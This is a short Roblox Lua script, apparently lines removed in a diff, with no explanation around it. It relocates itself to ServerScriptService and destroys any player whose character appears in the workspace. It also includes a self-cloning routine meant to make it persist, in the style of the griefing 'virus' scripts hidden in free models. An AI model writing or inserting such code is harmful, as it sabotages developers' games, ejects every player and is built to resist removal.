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- script.Parent = game.ServerScriptService
- function per(child)
- p = game.Players:GetPlayerFromCharacter(child)
- if p then
- p:Destroy()
- child:Destroy()
- end
- end
- function heck(bruh)
- if bruh == script then
- script:Clone().Parent = game.ServerScriptService
- end
- end
- game.Workspace.ChildAdded:Connect(per)
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